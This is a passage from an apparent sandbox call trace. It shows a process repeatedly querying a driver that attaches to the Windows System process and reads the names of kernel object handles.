ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa80038f6044, ReturnLength=0xfffff880054f8550) returned 0x0 [0063.537] ObfDereferenceObject (Object=0xfffffa8003429680) returned 0x2 [0063.537] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0063.537] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x150000) returned 1 [0063.537] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0063.537] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0063.537] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0063.537] PsAcquireProcessExitSynchronization () returned 0x0 [0063.537] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0) [0063.537] ObReferenceObjectByHandle (in: Handle=0xffffffff80000540, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d400, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa800b97cf20, HandleInformation=0x0) returned 0x0 [0063.537] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0063.537] PsReleaseProcessExitSynchronization () returned 0x2 [0063.537] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x105 [0063.537] ObQueryNameString (in: Object=0xfffffa800b97cf20, ObjectNameInfo=0xfffffa80038dc044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa80038dc044, ReturnLength=0xfffff880054f8550) returned 0x0 [0063.537] ObfDereferenceObject (Object=0xfffffa800b97cf20) returned 0x2 [0063.537] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0063.537] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x150000) returned 1 [0063.537] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0063.537] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0063.537] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0063.537] PsAcquireProcessExitSynchronization () returned 0x0 [0063.537] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0) [0063.537] ObReferenceObjectByHandle (in: Handle=0xffffffff80000544, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d400, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa80029498a0, HandleInformation=0x0) returned 0x0 [0063.537] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0063.537] PsReleaseProcessExitSynchronization () returned 0x2 [0063.537] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x105 [0063.537] ObQueryNameString (in: Object=0xfffffa80029498a0, ObjectNameInfo=0xfffffa80038ea044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa80038ea044, ReturnLength=0xfffff880054f8550) returned 0x0 [0063.537] ObfDereferenceObject (Object=0xfffffa80029498a0) returned 0x2 [0063.537] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0063.537] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x150000) returned 1 [0063.537] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0063.537] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0063.537] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0063.537] PsAcquireProcessExitSynchronization () returned 0x0 [0063.537] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0) [0063.538] ObReferenceObjectByHandle (in: Handle=0xffffffff8000054c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d400, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa8003c3a350, HandleInformation=0x0) returned 0x0 [0063.538] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0063.538] PsReleaseProcessExitSynchronization () returned 0x2 [0063.538] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x105 [0063.538] ObQueryNameString (in: Object=0xfffffa8003c3a350, ObjectNameInfo=0xfffffa80038eb044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa80038eb044, ReturnLength=0xfffff880054f8550) returned 0x0 [0063.538] ObfDereferenceObject (Object=0xfffffa8003c3a350) returned 0x2 [0063.538] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0063.538] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x150000) returned 1 [0063.538] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0063.538] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0063.538] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0063.538] PsAcquireProcessExitSynchronization () returned 0x0 [0063.538] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0) [0063.538] ObReferenceObjectByHandle (in: Handle=0xffffffff80000550, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d400, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa80019d8130, HandleInformation=0x0) returned 0x0 [0063.538] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0063.538] PsReleaseProcessExitSynchronization () returned 0x2 [0063.538] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x105 [0063.538] ObQueryNameString (in: Object=0xfffffa80019d8130, ObjectNameInfo=0xfffffa80038ec044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa80038ec044, ReturnLength=0xfffff880054f8550) returned 0x0 [0063.538] ObfDereferenceObject (Object=0xfffffa80019d8130) returned 0x2 [0063.538] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0063.538] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x150000) returned 1 [0063.538] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0063.538] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0xb6, lpOverlapped=0x0) returned 1 [0063.538] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0063.538] PsAcquireProcessExitSynchronization () returned 0x0 [0063.538] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0) [0063.538] ObReferenceObjectByHandle (in: Handle=0xffffffff80000558, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d400, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa8001a2d2d0, HandleInformation=0x0) returned 0x0 [0063.538] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0063.538] PsReleaseProcessExitSynchronization () returned 0x2 [0063.538] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x105 [0063.538] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80038ed044, Length=0x800, ReturnLength=0xfffff880054f8508 | out: ObjectNameInfo=0xfffffa80038ed044, ReturnLength=0xfffff880054f8508) returned 0x0 [0063.538] ObfDereferenceObject (Object=0xfffffa8001a2d2d0) returned 0x1 [0063.538] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0063.538] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x150000) returned 1 [0063.538] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0063.539] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0xe2, lpOverlapped=0x0) returned 1 [0063.539] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0063.539] PsAcquireProcessExitSynchronization () returned 0x0 [0063.539] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0) [0063.539] ObReferenceObjectByHandle (in: Handle=0xffffffff80000560, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d400, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa80021af670, HandleInformation=0x0) returned 0x0 [0063.539] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0063.539] PsReleaseProcessExitSynchronization () returned 0x2 [0063.539] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x105 [0063.539] ObQueryNameString (in: Object=0xfffffa80021af670, ObjectNameInfo=0xfffffa80038ee044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa80038ee044, ReturnLength=0xfffff880054f8550) returned 0x0 [0063.539] ObfDereferenceObject (Object=0xfffffa80021af670) returned 0x2 [0063.539] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0063.539] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x150000) returned 1 [0063.539] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0063.539] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0063.539] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0063.539] PsAcquireProcessExitSynchronization () returned 0x0 [0063.539] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0) [0063.539] ObReferenceObjectByHandle (in: Handle=0xffffffff80000570, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d400, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa800225bdc0, HandleInformation=0x0) returned 0x0 [0063.539] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0063.539] PsReleaseProcessExitSynchronization () returned 0x2 [0063.539] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x105 [0063.539] ObQueryNameString (in: Object=0xfffffa800225bdc0, ObjectNameInfo=0xfffffa80038f0044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa80038f0044, ReturnLength=0xfffff880054f8550) returned 0x0 [0063.539] ObfDereferenceObject (Object=0xfffffa800225bdc0) returned 0x2 [0063.539] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0063.540] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x150000) returned 1 [0063.540] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0063.540] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0063.540] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0063.540] PsAcquireProcessExitSynchronization () returned 0x0 [0063.540] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0) [0063.540] ObReferenceObjectByHandle (in: Handle=0xffffffff80000574, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d400, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa8002510aa0, HandleInformation=0x0) returned 0x0 [0063.540] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0063.540] PsReleaseProcessExitSynchronization () returned 0x2 [0063.540] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x105 [0063.540] ObQueryNameString (in: Object=0xfffffa8002510aa0, ObjectNameInfo=0xfffffa80038f1044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa80038f1044, ReturnLength=0xfffff880054f8550) returned 0x0 [0063.540] ObfDereferenceObject (Object=0xfffffa8002510aa0) returned 0x2 [0063.540] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0063.540] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x150000) returned 1 [0063.540] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0063.540] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0063.540] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0063.540] PsAcquireProcessExitSynchronization () returned 0x0 [0063.540] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0) [0063.540] ObReferenceObjectByHandle (in: Handle=0xffffffff80000578, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d400, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa8003add3f0, HandleInformation=0x0) returned 0x0 [0063.540] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0063.540] PsReleaseProcessExitSynchronization () returned 0x2 [0063.540] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x105 [0063.540] ObQueryNameString (in: Object=0xfffffa8003add3f0, ObjectNameInfo=0xfffffa80038f2044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa80038f2044, ReturnLength=0xfffff880054f8550) returned 0x0 [0063.540] ObfDereferenceObject (Object=0xfffffa8003add3f0) returned 0x2 [0063.540] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0063.540] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x150000) returned 1 [0063.540] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0063.540] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0063.540] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0063.540] PsAcquireProcessExitSynchronization () returned 0x0 [0063.540] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0) [0063.540] ObReferenceObjectByHandle (in: Handle=0xffffffff8000057c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d400, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa8002147270, HandleInformation=0x0) returned 0x0 [0063.540] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0063.540] PsReleaseProcessExitSynchronization () returned 0x2 [0063.540] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x105 [0063.541] ObQueryNameString (in: Object=0xfffffa8002147270, ObjectNameInfo=0xfffffa80038f3044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa80038f3044, ReturnLength=0xfffff880054f8550) returned 0x0 [0063.541] ObfDereferenceObject (Object=0xfffffa8002147270) returned 0x2 [0063.541] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0063.541] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x150000) returned 1 [0063.541] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0063.541] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0063.541] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0063.541] PsAcquireProcessExitSynchronization () returned 0x0 [0063.541] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0) [0063.541] ObReferenceObjectByHandle (in: Handle=0xffffffff80000580, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d400, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa80021194c0, HandleInformation=0x0) returned 0x0 [0063.541] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0063.541] PsReleaseProcessExitSynchronization () returned 0x2 [0063.541] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x105 [0063.541] ObQueryNameString (in: Object=0xfffffa80021194c0, ObjectNameInfo=0xfffffa80038f4044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa80038f4044, ReturnLength=0xfffff880054f8550) returned 0x0 [0063.541] ObfDereferenceObject (Object=0xfffffa80021194c0) returned 0x2 [0063.541] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0063.541] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x150000) returned 1 [0063.541] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0063.541] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x8e, lpOverlapped=0x0) returned 1 [0063.541] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0063.541] PsAcquireProcessExitSynchronization () returned 0x0 [0063.541] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0) [0063.541] ObReferenceObjectByHandle (in: Handle=0xffffffff80000584, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d400, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa8003141e60, HandleInformation=0x0) returned 0x0 [0063.541] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0063.541] PsReleaseProcessExitSynchronization () returned 0x2 [0063.541] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x105 [0063.541] ObQueryNameString (in: Object=0xfffffa8003141e60, ObjectNameInfo=0xfffffa80038f8044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa80038f8044, ReturnLength=0xfffff880054f8550) returned 0x0 [0063.541] ObfDereferenceObject (Object=0xfffffa8003141e60) returned 0x1 [0063.541] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0063.541] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x150000) returned 1 [0063.541] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0063.541] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0063.541] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0063.541] PsAcquireProcessExitSynchronization () returned 0x0 [0063.542] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0) [0063.542] ObReferenceObjectByHandle (in: Handle=0xffffffff80000590, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d400, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa8001a42ab0, HandleInformation=0x0) returned 0x0 [0063.542] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0063.542] PsReleaseProcessExitSynchronization () returned 0x2 [0063.542] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x105 [0063.542] ObQueryNameString (in: Object=0xfffffa8001a42ab0, ObjectNameInfo=0xfffffa80038f9044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa80038f9044, ReturnLength=0xfffff880054f8550) returned 0x0 [0063.542] ObfDereferenceObject (Object=0xfffffa8001a42ab0) returned 0x2 [0063.542] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0063.542] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x150000) returned 1 [0063.542] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0063.542] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0063.542] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0063.542] PsAcquireProcessExitSynchronization () returned 0x0 [0063.542] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0) [0063.542] ObReferenceObjectByHandle (in: Handle=0xffffffff800005a8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d400, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa8002401f20, HandleInformation=0x0) returned 0x0 [0063.542] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0063.542] PsReleaseProcessExitSynchronization () returned 0x2 [0063.542] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x105 [0063.542] ObQueryNameString (in: Object=0xfffffa8002401f20, ObjectNameInfo=0xfffffa80038fa044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa80038fa044, ReturnLength=0xfffff880054f8550) returned 0x0 [0063.542] ObfDereferenceObject (Object=0xfffffa8002401f20) returned 0x2 [0063.542] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0063.542] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x150000) returned 1 [0063.542] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0063.542] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0063.542] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0063.542] PsAcquireProcessExitSynchronization () returned 0x0 [0063.542] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0) [0063.542] ObReferenceObjectByHandle (in: Handle=0xffffffff800005ac, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d400, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa8002156790, HandleInformation=0x0) returned 0x0 [0063.542] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0063.542] PsReleaseProcessExitSynchronization () returned 0x2 [0063.542] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x105 [0063.542] ObQueryNameString (in: Object=0xfffffa8002156790, ObjectNameInfo=0xfffffa80038fb044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa80038fb044, ReturnLength=0xfffff880054f8550) returned 0x0 [0063.543] ObfDereferenceObject (Object=0xfffffa8002156790) returned 0x2 [0063.543] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0063.543] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x150000) returned 1 [0063.543] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 